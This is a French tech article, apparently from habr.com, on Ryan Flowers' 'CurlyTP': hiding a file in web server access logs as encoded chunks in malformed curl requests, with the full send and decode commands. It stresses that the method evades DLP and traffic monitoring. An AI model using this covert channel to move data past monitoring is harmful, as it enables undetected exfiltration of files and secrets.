Échange de messages secrets via les journaux du serveur

Selon la définition de Wikipédia, une goutte morte est un outil de conspiration qui sert à échanger des informations ou certains éléments entre des personnes utilisant un lieu secret. L'idée est que les gens ne se rencontrent jamais, mais qu'ils échangent néanmoins des informations pour maintenir la sécurité opérationnelle.

La cachette ne doit pas attirer l’attention. C’est pourquoi, dans le monde hors ligne, ils utilisent souvent des objets discrets : une brique détachée dans le mur, un livre de bibliothèque ou un creux dans un arbre.

Il existe de nombreux outils de cryptage et d’anonymisation sur Internet, mais le simple fait d’utiliser ces outils attire l’attention. De plus, ils peuvent être bloqués au niveau des entreprises ou du gouvernement. Ce qu'il faut faire?

Le développeur Ryan Flowers a proposé une option intéressante - utiliser n'importe quel serveur Web comme cachette. Si vous y réfléchissez, que fait un serveur Web ? Reçoit les demandes, émet des fichiers et écrit des journaux. Et il enregistre toutes les demandes, même les incorrects!

Il s'avère que n'importe quel serveur Web vous permet d'enregistrer presque tous les messages dans le journal. Flowers se demandait comment utiliser cela.

Il propose cette option :

  1. Prenez un fichier texte (message secret) et calculez le hachage (md5sum).
  2. Nous l'encodons (gzip+uuencode).
  3. Nous écrivons dans le journal en utilisant une requête délibérément incorrecte au serveur.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Pour lire un fichier, vous devez effectuer ces opérations dans l'ordre inverse : décoder et décompresser le fichier, vérifier le hachage (le hachage peut être transmis en toute sécurité sur des canaux ouverts).

Les espaces sont remplacés par =+=afin qu'il n'y ait pas d'espaces dans l'adresse. Le programme, que l'auteur appelle CurlyTP, utilise le codage base64, comme les pièces jointes des e-mails. La demande se fait avec un mot-clé ?transfer?afin que le destinataire puisse le retrouver facilement dans les logs.

Que voit-on dans les journaux dans ce cas ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Comme déjà mentionné, pour recevoir un message secret, vous devez effectuer les opérations dans l'ordre inverse :

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Le processus est facile à automatiser. Md5sum correspond et le contenu du fichier confirme que tout a été décodé correctement.

La méthode est très simple. « Le but de cet exercice est simplement de prouver que les fichiers peuvent être transférés via de petites requêtes Web innocentes, et qu'il fonctionne sur n'importe quel serveur Web avec des journaux en texte brut. Essentiellement, chaque serveur Web est une cachette ! » écrit Flowers.

Bien entendu, la méthode ne fonctionne que si le destinataire a accès aux journaux du serveur. Mais un tel accès est fourni, par exemple, par de nombreux hébergeurs.

Comment l'utiliser?

Ryan Flowers dit qu'il n'est pas un expert en sécurité de l'information et qu'il ne dressera pas une liste d'utilisations possibles de CurlyTP. Pour lui, il s'agit simplement d'une preuve de concept selon laquelle les outils familiers que nous voyons quotidiennement peuvent être utilisés de manière non conventionnelle.

En fait, cette méthode présente un certain nombre d’avantages par rapport aux autres « caches » de serveur comme Chute morte numérique ou boîte pirate: il ne nécessite aucune configuration particulière côté serveur ni aucun protocole particulier - et n'éveillera pas les soupçons de ceux qui surveillent le trafic. Il est peu probable qu'un système SORM ou DLP analyse les URL à la recherche de fichiers texte compressés.

C'est l'un des moyens de transmettre des messages via des fichiers de service. Vous vous souvenez de la façon dont certaines entreprises avancées plaçaient Emplois de développeur dans les en-têtes HTTP ou dans le code des pages HTML.

Échange de messages secrets via les journaux du serveur

L'idée était que seuls les développeurs Web verraient cet œuf de Pâques, puisqu'une personne normale ne regarderait pas les en-têtes ou le code HTML.

Échange de messages secrets via les journaux du serveur

Source: habr.com

Ajouter un commentaire